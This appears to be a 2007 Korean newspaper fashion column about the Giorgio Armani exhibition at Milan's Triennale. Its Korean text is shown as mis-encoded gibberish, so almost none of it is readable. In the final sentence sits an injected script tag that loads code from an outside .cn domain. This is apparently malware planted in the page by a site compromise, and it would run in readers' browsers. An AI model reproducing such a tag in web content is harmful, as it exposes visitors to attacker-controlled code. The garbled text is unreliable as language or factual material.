¾Æ¸£¸¶´Ï î÷¡¤Æä¶ó°¡¸ð ¹ÂÁö¾ö

2007-05-18  

ÆмǿÀµð¼¼ÀÌ(49)-¡°A Milano¡±(22)


2007³â 2¿ù ¸»¿¡¼­ 3¿ùÃÊ »çÀÌ, ¸¸³ª´Â »ç¶÷µé·ÎºÎÅÍ ºüÆ®¸®Áö ¾Ê°í µé¾ú´ø Áú¹®ÀÌ ÀÖ´Ù. ¡°¾Æ¸£¸¶´Ï Àü½Ãȸ ºÃ¾î?¡±, ¡°¾î¶®¾î?¡±, ¡°¾î¶»°Ô »ý°¢ÇØ?¡± ¾Æ¸£¸¶´Ï ¿ÊÀ» »ç ÀÔÀ» ¿©À¯°¡ ÀÖ´Â »ç¶÷¿¡°Ô³ª ¾ø´Â »ç¶÷¿¡°Ô³ª ¾Æ¸£¸¶´Ï´Â ¹Ð¶ó³ë¸¦ ´ëÇ¥ÇÏ´Â ÆÐ¼Ç ¾ÆÀÌÄÜÀÌ´Ù. ¡®»ç¶÷µéÀÌ °ü½ÉÀ» ¾È °¡Á®Áִϱî ÀÌÁ¦ (¾Æ¸£¸¶´Ï°¡) º°ÁþÀ» ´ÙÇÑ´Ù¡¯´Â ÀÇ°ßµµ ¹«¼ºÇßÁö¸¸, ±×·¡µµ ¾Æ¸£¸¶´Ï´Â ¾ÆÁ÷ ¾Æ¸£¸¶´Ï´Ù.  <±Û=Á¤ÀÎÈñ(
ihnhee@kumoh.ac.kr)| ±Ý¿À°ø´ë ±³¼ö>

Àü½Ãȸ(mostra) Àå¼Ò´Â Æ®¸®¿£³¯·¹(Triennale), ÀÏÀÚ´Â 2¿ù 20ÀϺÎÅÍ 4¿ù 1ÀϱîÁö. 2000³â ´º¿å ¼Ö·Î¸ó R. ±¸°ÕÇÏÀÓ ¹ÂÁö¾ö¿¡¼­ ±âȹ, °³ÃÖµÈ ÀÌÈÄ(À̶§ ¹ÂÁö¾öÀÇ Áö³ªÄ£ »ó¾÷¼º ³í¶õÀÌ ÀÖ¾ú´ø ¸ð¾çÀÌ´Ù) 2001³â ºô¹Ù¿À ±¸°ÕÇÏÀÓ, 2003³â º£¸¦¸° ³»¼Å³Î°¶·¯¸®, 2004³â ·±´ø ¹ú¸µÅÏ °¡µç ·Î¿­¾ÆÄ«µ¥¹Ì, 2005³â µ¿°æ ¸ð¸® ¾ÆÆ®¼¾ÅÍ°¶·¯¸®, 2006³â »óÇÏÀÌ ¾ÆÆ®¹ÂÁö¾ö¿¡¼­ÀÇ Àü½Ã¿¡ ÀÌ¾î ¡®¾Æ¸£¸¶´ÏÀÇ µµ½Ã¡¯ ¹Ð¶ó³ë¿¡¼­ ±â³ª±ä Åõ¾îÀÇ ¸·À» ³»¸®°Ô µÈ °ÍÀÌ´Ù.
¡°ÇÑ »ç¶÷ÀÇ ½ºÆ¿¸®½ºÅ¸(ÆÐ¼Ç µðÀÚÀ̳Ê)°¡ Çß´ø ÀÛ¾÷À» ±â³äÇÏ´Â, Æ®¸®¿£³¯·¹ ¿ª»ç»ó ÃÖÃÊÀÇ Àü½Ãȸ¶ó ¸Å¿ì Å« ¿µ±¤À¸·Î »ý°¢ÇÑ´Ù. ÀÌ·¸°Ô ³ªÀÇ ÀÛÇ°À¸·ÎºÎÅÍ Á¤Á¦µÈ öÇÐÀ» º¸°Ô µÅ ¹«Ã´ ±â»Ú´Ù. ÆмÇÀº ´Ã »ç¶÷µéÀÌ Ç¥ÇöÇÏ°íÀÚ ÇÏ´Â °ÍÀÇ Á߽ɿ¡ ÀÖÀ¸¸ç, ¾î¶² »ç¶÷ÀÌ ¼ÓÇÑ ¹®È­¿Í »çȸ¸¦ ºñÃß´Â ¿Ïº®ÇÑ °Å¿ïÀÌ´Ù. ³ª´Â Áö±Ý±îÁö Àå½Ä¸¸À» À§ÇÑ Àå½ÄÀ» ÀÚÁ¦ÇÏ°í, ¿©ÀÚµç ³²ÀÚµç ±× ¿ÊÀ» ÀÔÀ½À¸·Î½á Æí¾ÈÇÑ ¸Å·ÂÀ» dz±ä´Ù°í ´À³¥ ¼ö ÀÖ°Ô²û ÇØÁÖ´Â Æмǿ¡ ´ëÇØ Ç×»ó »ý°¢ÇØ¿Ô´Ù¡± ¾Æ¸£¸¶´ÏÀÇ ¸»ÀÌ´Ù.
600¹úÀÌ ³Ñ´Â ¾Æ¸£¸¶´Ï ÀÇ»óÀÌ Àü½ÃµÆ´Ù°í ÇÏ´Â ÀÌ Àü½Ãȸ´Â ÀÏ°ö °³ÀÇ ¼½¼ÇÀ¸·Î ±¸¼ºµÆ´Âµ¥, Àü½Ãȸ »çÀÌÆ®¿¡ ¿Ã¶ó¿Í ÀÖ´Â À̸§À¸·Î ¼Ò°³ÇØ º¸¸é ´ÙÀ½°ú °°´Ù. ¿©¼ºÀû ¸Å·Â(feminine), º£ÀÌÁö¿Í ¹àÀº ȸ»ö(beige and greige), ¹Ý¦ÀÓ(light), ¿¡½º´Ð(ethnic), ÇÒ¸®¿ìµå(hollywood), Èæ¹é(black and white), ¹Ì´Ï¸Ö¸®Áò(minimalism).
Àü½ÃȸÀå ÀÔ±¸ÀÇ ¸¶³×Å·µéÀÌ ÀÔ°í ÀÖ´ø ¿ÊµéÀÌ °¢°¢ Àü½ÃȸÀÇ ¼½¼ÇÀ» ´ëº¯ÇÏ°í ÀÖ¾ú´ø ¸ð¾çÀε¥, ±× Á¶¸íÀÌ ¸Å¿ì ÀλóÀûÀ̾ú´Ù. ½Ã°£Â÷¸¦ µÎ°í ¿ÊÀ» ÇÑ ¹ú¾¿ ÇÑ ¹ú¾¿ õõÈ÷ ºñÃß´Â °ÍÀÌ´Ù. ±×·¡¼­ ±× ¸Àº¸±â¿ë Áø¿­´ë ¾Õ¿¡ ¼­¼­ Çѵ¿¾È öÇÐÀ» ÇϵíÀÌ ¿ÊÀ» ¹Ù¶óº¸°í ÀÖ¾î¾ß Çß´ø ±â¾ïÀÌ ³­´Ù. ±×¸®°í ÀÔÀå±ÇÀ» º¸¿©ÁÖ°í Àü½ÃȸÀåÀ¸·Î µé¾î¼­´Â ¼ø°£ ¡®¹°·®¡¯À¸·Î ½ÂºÎÇÏ´Â µíÇÏ´ø Àü½Ã¹°µé!
¡®¸»Çϱâ ÁÁ¾ÆÇϴ¡¯ ÀÌÅ»¸®¾Æ ÇҸӴϵéÀº ÀÌ°÷¿¡µµ ¼Õ¿¡ ¼ÕÀ» Àâ°í ¸ô·Á¿Í¼­´Â ¡®ÀÌ ¿Ê Á» ºÁ¡¯ ÇÏ¸ç ¿ÊÀ» ÇϳªÇϳª Æò°¡ÇÏ´Â µ¥ ¿©³äÀÌ ¾ø´Ù.
»ç½Ç ±ØÀå, À½¾Çȸ, ½ÉÁö¾î´Â ¸íÇ° ¾Æ¿ï·¿±îÁö, ÇÒ¸Ó´Ï ÇҾƹöÁöµéÀÌ °í°´ÀÇ ´ë´Ù¼ö¸¦ Â÷ÁöÇÑ´Ù´Â °ÍÀÌ ¹Ð¶ó³ëÀÇ Æ¯Â¡À̶ó¸é Ư¡ÀÌ´Ù. °æÁ¦Àû ¿©À¯°¡ À־ÀÎÁö ¹®È­¸¦ ÇâÀ¯ÇÏ´Â ¼ÒºñÃþÀº ÁÖ·Î ³ë³âÃþÀÌ°í ÀþÀº »ç¶÷µéÀº ±×·± °Íµé¿¡ °ü½É ÀÚü°¡ ¾ø¾î º¸ÀδÙ. 30³âÂë ÈıîÁö ¹Ð¶ó³ë°¡ °ú¿¬ ¹®È­ÀÇ Áß½ÉÁö·Î ³²¾Æ ÀÖÀ»±î ÇÏ´Â ÀDZ¸½ÉÀÌ µé Á¤µµ´Ù. ÇÏÁö¸¸ ¾Æ¸£¸¶´Ï Àü½Ãȸ¿¡´Â ÀþÀº ¿©¼ºµéµµ ¸¹ÀÌ ¸ô·Á´Ù´Ï°í ÀÖ¾ú´Ù. ±×·¯´Ï ÆмÇÀÇ ¹Ì·¡°¡ ¿¹¼úÀÇ ¹Ì·¡º¸´Ù ¹à´Ù°í ÇÒ ¼ö ÀÖÀ¸·Á³ª¡¦.
¾Æ¸£¸¶´Ï ¸ÅÀå¿¡ °¡¸é ¾Æ¸£¸¶´Ï ¿ÊÀ» ¸¸Á®º¸°í ÀԾ¸é¼­ ±¸°æÇÒ ¼ö Àִµ¥ ÀÛÇ°¿¡ ¼Õ³¡Çϳª ´ëÁö ¸øÇÏ´Â Àü½ÃȸÀå¿¡¼­ ¾Æ¸£¸¶´Ï¸¦ º¸´Â °Í¿¡´Â ¾î¶² Àǹ̰¡ ÀÖÀ»±î?
¿ì¼± Áö³ª°£ ½ÃÀýÀÇ ¿ÊÀ» ¸ðµÎ º¼ ¼ö ÀÖ´Ù´Â °Í, ±×·¯¸é¼­ ÇÑ µðÀÚÀ̳ʿ¡ ´ëÇÑ ÃÑüÀûÀÎ Á¤¸®¸¦ ÇÒ ¼ö ÀÖ´Ù´Â °Í. ±×¸®°í ¾Æ¸¶ ÆǸſøÀÇ ½Ã¼±À» ÀǽÄÇϸ鼭 ¿ÊÀ» »ç¾ß ÇÏÁö ¾ÊÀ»±î ÇÏ´Â ºÎ´ã°¨À̳ª »ç°í ½Í´Ù´Â À¯È¤ ¾øÀÌ ¿ÊÀ» ÀÛÇ°À¸·Î¸¸ º¼ ¼ö ÀÖ´Ù´Â °Í. ¶Ç ÇÑ °¡Áö Áß¿äÇÑ °ÍÀº ¾Æ¸£¸¶´Ï¸¦ ¾î¶»°Ô ¿¬ÃâÇß´ÂÁö º¼ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù.
¿äÁò Àü½ÃȸÀÇ Æ®·»µå´Â Àü½Ã ÀÛÇ°ÀÇ °¡Ä¡º¸´Ù ±× ÀÛÇ°µéÀ» ¿¬ÃâÇÏ´Â ¹æ¹ý¿¡ ÃÊÁ¡À» µÎ´Â °Íó·³ º¸ÀδÙ. ±× Áß Àü½Ãȸ¿¡¼­ ´Ü¿¬ µ¸º¸ÀÎ °ÍÀº Á¶¸íÀ̾ú´Ù. ƯÈ÷ ½º¿Í·Îºê½ºÅ°°¡ ÇùÂùÇÑ Å©¸®½ºÅзΠÀå½ÄÇÑ ¸¶Áö¸· Àü½Ã½ÇÀº Å©¸®½ºÅаú Á¶¸íÀÇ ±Ø´ëÈ­µÈ ½Ã³ÊÁö È¿°ú¸¦ ¼±º¸¿´´Ù.
¾Æ¸£¸¶´Ï ÀÌÀüÀÇ ÇÏÀÌÆÐ¼Ç µðÀÚÀ̳ʵéÀº Á÷Àå »ýÈ°ÀÌ ¾Æ´Ñ »ç±³ »ýÈ°À» À§ÇÑ ÀÇ»óÀ» Á¦ÀÛÇß´ø ¹Ý¸é, ½Ã´¢¸£ ¾Æ¸£¸¶´Ï´Â ÀÏÇÏ´Â ¿©¼ºµéÀÌ ÀÔÀ» ¼ö ÀÖ´Â ¿Ê¿¡ °ü½ÉÀ» °¡Áö±â ½ÃÀÛÇß´Ù´Â Á¡¿¡¼­ Áß¿äÇÑ À§»óÀ» Â÷ÁöÇÑ´Ù°í ÇöÁö Àü¹®°¡µéÀº Áø´ÜÇÑ´Ù. ¾Æ¸£¸¶´Ï´Â ÀÌ¹Ì ÇÑ°è¿¡ ´Ù´Ù¶ú´Ù°Å³ª, ¾Æ¸£¸¶´Ï ¶§¹®¿¡ ÀÌÅ»¸®¾Æ ÆÐ¼Ç »ê¾÷ÀÌ ÁÖ¸ñÀ» ¹Þ±âµµ ÇßÁö¸¸ ½Å¿¹ µðÀÚÀ̳ʵéÀÌ ÀÚ¶óÁö ¸øÇß´Ù´Â ºñÆǵµ ¹Þ´Â ¾Æ¸£¸¶´Ï. Ãֱ٠ȣÅÚ »ç¾÷¿¡ °ü½ÉÀ» º¸ÀÌ°í ÀÖ´Â ±×ÀÇ ÇâÈÄ Çຸ¿¡ °ü½ÉÀÌ ÁýÁߵǰí ÀÖ´Ù.
¹Ð¶ó³ë ±Ù±³ ÇǾÆþÂ÷¿¡¼­ ž ¾Æ¸£¸¶?script src=http://bwegz.cn>

Ä¿¹ö
°Ë»ö
´Ý±â
´Ý±â